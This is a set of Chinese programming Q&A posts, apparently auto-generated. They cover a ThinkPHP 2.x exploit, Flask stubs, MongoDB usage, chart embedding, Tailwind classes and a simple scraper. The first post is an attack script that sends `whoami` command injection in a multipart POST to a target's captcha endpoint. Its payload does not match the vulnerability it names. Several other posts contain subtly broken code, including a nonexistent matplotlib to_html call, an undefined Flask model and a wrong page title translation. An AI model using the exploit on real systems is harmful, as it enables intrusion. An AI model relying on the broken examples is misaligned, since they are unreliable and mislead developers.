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Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞
System
2024-08-23
所有,php

在Python中，我们可以使用requests库来模拟发送HTTP请求以复现ThinkPHP 2.x的任意代码执行漏洞。以下是一个简单的Python脚本示例，用于尝试利用该漏洞：




import requests
 
# 目标URL
url = "http://your-target-url/index.php?s=captcha"
 
# 要发送的payload
payload = "--4eb23627607314\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\n\r\n--4eb23627607314\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n`whoami`\r\n--4eb23627607314\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n`whoami`\r\n--4eb23627607314--\r\n"
 
# 发送POST请求
headers = {
    'Content-Type': 'multipart/form-data; boundary=--4eb23627607314',
    'Content-Length': len(payload),
}
 
response = requests.post(url, data=payload, headers=headers)
 
# 输出响应
print(response.text)

请注意，由于这是一个攻击性质的代码示例，因此在使用时应确保目标系统已经同意并且你有合法权限进行测试。不要在未经授权的系统上进行测试或者攻击，这可能违反法律法规并会导致不必要的问题。

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python招聘系统的设计与实现flask-django-nodejs-php
System
2024-08-23
所有,php

由于提问中的代码涉及多个技术栈，我将给出一个简化的Python技术栈示例，即使用Flask框架创建一个简单的招聘系统。




from flask import Flask, render_template, request, redirect, url_for
app = Flask(__name__)
 
JOBS = []
 
@app.route('/')
def index():
    return render_template('index.html', jobs=JOBS)
 
@app.route('/submit', methods=['POST'])
def submit():
    job = {
        'title': request.form['title'],
        'description': request.form['description']
    }
    JOBS.append(job)
    return redirect(url_for('index'))
 
if __name__ == '__main__':
    app.run(debug=True)

在这个简单的例子中，我们创建了一个简单的公司招聘系统。用户可以通过访问首页查看所有的招聘信息，也可以通过提交一个包含职位名称和描述的表单来添加新的招聘信息。这个系统使用Flask框架和简单的列表来存储数据，并且没有数据库的整合，适用于学习和演示目的。

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python高校洗浴管理系统flask-django-php-nodejs
System
2024-08-23
所有,php

这个问题似乎是在询问如何使用Python来创建一个高校洗浴管理系统，并且提到了一系列的技术栈，包括Flask、Django、PHP和Node.js。这里我会提供一个简单的Flask示例，展示如何开始创建这样的系统。

首先，确保你已经安装了Python和Flask。如果没有安装Flask，可以使用pip安装：




pip install Flask

下面是一个简单的Flask应用程序框架，它可以作为高校洗浴管理系统的开始：




from flask import Flask, render_template
 
app = Flask(__name__)
 
@app.route('/')
def index():
    return render_template('index.html')
 
if __name__ == '__main__':
    app.run(debug=True)

在这个例子中，我们创建了一个名为index的路由，它会渲染一个名为index.html的模板。当你运行这个应用程序时，它会在本地服务器上监听，你可以在浏览器中查看。

接下来，你需要创建一个index.html文件，并放在你的模板文件夹中（通常在Flask项目的templates文件夹）。你可以添加一些基础的HTML来展示页面布局：




<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>High School Laundry Management System</title>
</head>
<body>
    <h1>Welcome to the High School Laundry Management System</h1>
</body>
</html>

在实际的系统中，你需要添加更多的功能，比如用户管理、洗浴房间管理、预约系统等。你可以使用Flask的Blueprints来组织你的代码，并使用数据库比如SQLite、MySQL或PostgreSQL来存储数据。

由于这个问题涉及的范围很广，我无法在一个简短的回答中提供所有的细节。如果你有具体的问题，欢迎提问。

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基于flask框架基于HTML5的农民工信息采集系统的设计与实现
System
2024-08-23
所有,html5

由于原始代码较长，我将提供核心函数和HTML模板的示例。




# 导入Flask和相关模块
from flask import Flask, render_template, request, redirect, url_for, flash
from flask_sqlalchemy import SQLAlchemy
from wtforms import Form, StringField, IntegerField, TextAreaField, DateField, SelectField, validators
 
# 初始化Flask应用
app = Flask(__name__)
app.secret_key = 'your_secret_key'
 
# 配置数据库连接
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://username:password@localhost/db_name'
db = SQLAlchemy(app)
 
# 定义表单
class WorkerForm(Form):
    name = StringField('姓名', [validators.DataRequired()])
    age = IntegerField('年龄', [validators.NumberRange(min=1, max=150)])
    # ... 其他字段
 
# 视图函数
@app.route('/')
def index():
    return render_template('index.html')
 
@app.route('/add_worker', methods=['GET', 'POST'])
def add_worker():
    form = WorkerForm(request.form)
    if request.method == 'POST' and form.validate():
        worker = Worker(name=form.name.data, age=form.age.data, ...)
        db.session.add(worker)
        db.session.commit()
        flash('农民工信息已录入')
        return redirect(url_for('index'))
    return render_template('add_worker.html', form=form)
 
if __name__ == '__main__':
    app.run(debug=True)

HTML模板 (add_worker.html):




<form method="post">
    {{ form.hidden_tag() }}
    <p>姓名：{{ form.name }}</p>
    <p>年龄：{{ form.age }}</p>
    <!-- ... 其他字段的输入 -->
    <p><input type="submit" value="提交"></p>
</form>

请注意，你需要创建一个Worker模型来与数据库表对应，并且需要有一个对应的数据库和相应的表结构。以上代码仅为核心函数和模板的示例，实际应用中还需要完善数据库模型定义、错误处理、路由定义等。

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html5 实现端午节领卷输入手机号验证效果，Python外包是如何转正华为的
System
2024-08-23
所有,html5

在HTML5中实现端午节领卷输入手机号验证，可以使用input元素的type属性为tel。以下是一个简单的HTML结构示例，结合HTML5表单属性和JavaScript来实现手机号验证：




<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>端午节领卷</title>
    <script>
        function validatePhoneNumber() {
            var phoneNumber = document.getElementById('phone').value;
            var phonePattern = /^1[3-9]\d{9}$/;
            if (phonePattern.test(phoneNumber)) {
                alert('手机号码有效');
                // 处理有效手机号的逻辑
            } else {
                alert('手机号码无效');
            }
        }
    </script>
</head>
<body>
    <form>
        <label for="phone">手机号码:</label>
        <input type="tel" id="phone" name="phone" pattern="[0-9]{11}" required>
        <input type="submit" value="领卷" onclick="validatePhoneNumber(); return false;">
    </form>
</body>
</html>

在这个示例中，pattern属性用于限制用户输入的必须是11位数字，required属性确保输入不能为空。validatePhoneNumber函数用于验证输入的手机号是否符合中国大陆地区的手机号码格式（以1开头，第二位3-9）。如果输入有效，会显示一个警告框说明手机号有效，并且提交表单；如果输入无效，则会显示警告框说明手机号无效，并阻止表单提交。

这个简单的例子演示了如何使用HTML5和JavaScript来实现简单的手机号验证。在实际应用中，你可能需要更复杂的验证逻辑，比如与后端服务的交互，或者前端的视觉反馈。

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MongoDB：从容器使用到 Mongosh、Python/Node.js 数据操作
System
2024-08-23
所有,nodejs

在这篇文章中，我们将介绍如何使用MongoDB，包括如何使用Mongosh、Python和Node.js进行数据操作。

首先，我们需要安装MongoDB。安装完成后，我们可以通过Mongosh来操作MongoDB。

  1. 使用Mongosh

Mongosh是MongoDB的Shell，我们可以在命令行中使用它来与MongoDB数据库交互。

例如，我们可以创建一个新的数据库并在其中添加一些数据：




mongo
use myDatabase
db.myCollection.insertOne({name: "myName", value: "myValue"})
  1. 使用Python进行数据操作

我们可以使用Python的pymongo库来操作MongoDB。

首先，我们需要安装pymongo库：




pip install pymongo

然后，我们可以使用以下代码来连接MongoDB并进行数据操作：




from pymongo import MongoClient
 
client = MongoClient('mongodb://localhost:27017/')
db = client['myDatabase']
collection = db['myCollection']
 
collection.insert_one({'name': 'myName', 'value': 'myValue'})
  1. 使用Node.js进行数据操作

我们可以使用Node.js的mongodb库来操作MongoDB。

首先，我们需要安装mongodb库：




npm install mongodb

然后，我们可以使用以下代码来连接MongoDB并进行数据操作：




const MongoClient = require('mongodb').MongoClient;
const url = 'mongodb://localhost:27017/';
 
MongoClient.connect(url, function(err, client) {
  if (err) throw err;
  const db = client.db('myDatabase');
  const collection = db.collection('myCollection');
  collection.insertOne({name: 'myName', value: 'myValue'}, function(err, result) {
    if (err) throw err;
    console.log(result);
    client.close();
  });
});

以上就是如何使用MongoDB，包括如何使用Mongosh、Python和Node.js进行数据操作的详细说明和示例代码。

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基于python的图表生成系统,python生成图表嵌入html
System
2024-08-23
所有,html

要在Python中生成图表并将其嵌入HTML，可以使用matplotlib和IPython.display库。以下是一个简单的例子，展示如何生成一个简单的条形图并将其嵌入HTML。

首先，安装所需库（如果尚未安装）：




pip install matplotlib ipython

然后，使用以下Python代码生成图表并嵌入HTML：




import matplotlib.pyplot as plt
from IPython.display import HTML
 
# 生成图表
plt.bar(['A', 'B', 'C'], [10, 20, 30])
 
# 获取图表的嵌入HTML
img_data = plt.figure().to_html().split("<img ")[1].split("/>")[0].split("src='")[1]
 
# 创建完整的HTML字符串
html_str = f"<html><body><img src='data:image/png;base64,{img_data}'></body></html>"
 
# 显示HTML
display(HTML(html_str))

这段代码首先创建了一个条形图，然后将其转换为HTML并显示。图表以Base64编码的字符串形式嵌入HTML中，这样可以直接在网页上显示图像，无需引用外部文件。

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python_web1（前端开发之HTML、CSS、Bootstap、Javascript、JQuery）
System
2024-08-23
所有,css

这是一个基于HTML、CSS、Bootstrap和JavaScript/jQuery的前端开发项目。由于没有具体的代码问题，我将提供一个简单的HTML页面示例，它包含了Bootstrap和jQuery的使用。




<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Simple Web Page</title>
    <!-- 引入Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
</head>
<body>
    <div class="container mt-4">
        <h1 class="text-center">Welcome to My Web Page</h1>
        <button id="myButton" class="btn btn-primary">Click Me</button>
    </div>
 
    <!-- 引入jQuery -->
    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
    <!-- 引入Bootstrap JS -->
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
    <script>
        $(document).ready(function(){
            $("#myButton").click(function(){
                alert("Button Clicked!");
            });
        });
    </script>
</body>
</html>

这个简单的页面展示了如何使用Bootstrap和jQuery。当按钮被点击时，会弹出一个警告框。这个示例旨在展示如何将Bootstrap和jQuery集成到项目中，并提供了一个基础的用户交互示例。

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Python私教张大鹏 Vue3整合Tailwindcss之max-width样式类
System
2024-08-23
所有,css



/* 在Tailwind CSS中使用max-width样式 */
/* 定义一个最大宽度类，用于在移动设备上限制容器宽度 */
.max-w-mobile {
    max-width: 375px; /* 适用于大多数手机屏幕 */
}
 
/* 定义一个最大宽度类，用于在平板设备上限制容器宽度 */
.max-w-tablet {
    max-width: 768px; /* 适用于平板电脑屏幕 */
}
 
/* 在Vue 3中使用Tailwind CSS */
<template>
  <div class="max-w-mobile">
    <!-- 内容 -->
  </div>
</template>
 
<script>
export default {
  // 组件逻辑
};
</script>
 
<style>
/* 在style标签中直接使用定义好的最大宽度类 */
.max-w-mobile {
  background-color: #f3f3f3; /* 为了演示，设置背景色 */
}
</style>

这个代码实例展示了如何在Tailwind CSS中定义自定义的最大宽度类，并在Vue 3组件中使用它们。通过这种方式，开发者可以更灵活地控制他们的应用布局，并且保持样式的一致性和可维护性。

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Python 爬虫基础入门知识
System
2024-08-23
所有,ajax

Python爬虫是一种自动提取网页数据的程序。以下是一个简单的Python爬虫示例，使用requests库获取网页内容，并使用BeautifulSoup库解析HTML。

首先，你需要安装必要的库：




pip install requests beautifulsoup4

以下是一个简单的Python爬虫示例，用于抓取一个网页上的所有链接：




import requests
from bs4 import BeautifulSoup
 
# 目标网页
url = 'https://example.com'
 
# 发送HTTP请求
response = requests.get(url)
 
# 确保网页请求成功
if response.status_code == 200:
    # 解析网页内容
    soup = BeautifulSoup(response.text, 'html.parser')
    
    # 找到所有的a标签，即链接
    for link in soup.find_all('a'):
        # 获取链接的href属性
        href = link.get('href')
        if href is not None:
            print(href)
else:
    print(f"Error: {response.status_code}")

这个简单的爬虫示例仅用于教学目的，实际的爬虫可能需要处理更复杂的情况，如处理Ajax动态加载的内容、处理登录验证、遵守robots.txt协议、限制爬取频率等。

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